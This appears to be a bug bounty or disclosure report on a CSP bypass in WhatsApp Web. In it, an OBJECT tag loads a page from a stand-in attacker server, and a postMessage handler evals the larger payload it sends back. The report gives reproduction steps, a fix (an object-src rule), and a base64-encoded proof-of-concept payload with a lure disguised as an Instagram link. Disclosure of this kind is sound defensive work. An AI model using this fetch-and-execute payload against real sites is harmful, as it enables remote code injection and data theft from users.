WHATSAPP - CSP complete bypass using OBJECT tag [HIGH RISK]

Product: Whatsapp Messenger
Platforms: Web
Vulnerability type: CSP misconfiguration
Title: WHATSAPP - CSP complete bypass using OBJECT tag [HIGH RISK]

Description

Complete details
Assuming an attacker managed to run an XSS in the context of web.whatsapp.com, the following exploit allows an attacker to leak data to an untrusted third party origin and also fetch any type of data (including javascript) and use it (as well as execute it).

As demonstrated in the previous report A.K.A "**WHATSAPP - One Click Persistent XSS via URL filtering bypass using javascript: [HIGH RISK]**" - running an XSS on whatsapp web is possible. However, ideally an attacker would like to execute very complex and long payloads, while keeping the XSS code as small as possible. The perfect way to achieve that is by keeping a minimalistic XSS code that fetches a more complex and long payload and executes it. That way, an attacker can also change its true malicious code whenever, and not have the entire logic implemented into the malicious message forever. This method usually is prevented by strong CSP rules, however on web.whatsapp.com that is not the case.

By attaching an OBJECT tag with a DATA attribute with a value of an address to the Command & Control attacker's server, the first payload can fetch an entire HTML page and inject it into the web.whatsapp.com DOM (similar to an iframe).
After doing that, the fetched page, which is under the full control of the attacker, can simply post a message to the top window containing the larger payload.
The XSS code will make sure to listen to the onmessage handler and evaluate the larger payload in the context of the top window which is web.whatsapp.com - thus gaining the ability to fetch and execute external payloads without really violating the CSP rules.

This can easily be solved by simply adding a CSP rule for **object-src** directive.

There is a very serious risk in this vulnerability being open

Impact
HIGH RISK impact - using this, an attacker can leak as much data as they want, and also fetch as much data as they want, also allowing that data to be executable javascript code. This impact is only relevant when having the ability to run XSS on the website (which is proven in the previous report - is possible)

Reproduction Steps

Users: A(attacker) , V(victim) [just 2 normal accounts]
Environment: private\group conversation between A and V where links sent by A are displayed as clickable to V (you should know the clickable link limitations of whatsapp)
Browser: Agnostic [ALL] - since the issue exists within the web app and not the browser
OS: Agnostic [ALL]
Description and Steps:

- For the demonstration, we will use the vulnerability demonstrated in the last report, A.K.A "**WHATSAPP - One Click Persistent XSS via URL filtering bypass using javascript: [HIGH RISK]**"

1. First, make sure to have a look at the payload that will be fetched in this demo (the one at the bottom of the document):
    i. https://MALICIOUS_SERVER/WAB-PAYLOAD-1.html
2. Follow the exact same instructions as in the previous report, only this time instead of using the B64 encoded payload from there, use the B64 encoded payload in the next page of this document
3. If you've followed the instructions correctly, an alert should have popped up
4. ATTACK IS SUCCESSFUL

dmFyIHBheWxvYWQgPSAnaGFyZF9leHBpcmVfdGltZS5pbm5lckhUTUwrPSc8b2JqZWN0I
GRhdGE9Imh0dHBzOi8vTUFMQUlPQ1VTX1NFUlZFUi9XQUltUEFZTE9BRC0xLmh0bWwiI
C8+Jzsgb25tZXNzYWdlPShlKT0+e2V2YWwoSlNPTi5wYXJzZShlLmRhdGEpKX0nOyAKcG
F5bG9hZCA9ICdqYXZhc2NyaXB0OiJodHRwczovL3d3dy5pbnN0YWdyYW0uY29tL3AvQjZ
VSDVGbWxsT0ovIjtldmFsKGF0b2IoicgKyBidG9hKHBheWxvYWQpICsgJyIpKSc7CmUuX1
94X21hdGNoZWRUZXh0ID0gcGF5bG9hZDsKZS5fX3hfYm9keSA9ICdpIGxvdmUgY2F0cyB
zbyBtdWNoISBjaGVjayB0aGUgb3V0IG9uIGluc3RhZ2FyYW0hICcgKyBwYXlsb2FkOwoKCg
oKLy8gc291cmNlIG9mIHRoZSBodG1sIGZpbGU6Ci8qCjxodG1sPgo8aGVhZD4KPC9oZWF
kPgo8Ym9keT4KPHNjcmlwdD4KCgp0b3AucG9zdE1lc3NhZ2UoCglKU09OLnN0cmluZ2lme
SgKCQkib3BlbignaHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbS9wL0I2VUg1Rm1sbE9KLy
AnKTsgYWxlcnQoJ2V4dGVybmFsIHBheWxvYWQnKTsiCgkpLCAKIioiKSAKPC9zY3JpcHQ
+CjwvYm9keT4KPC9odG1sPgoqLw==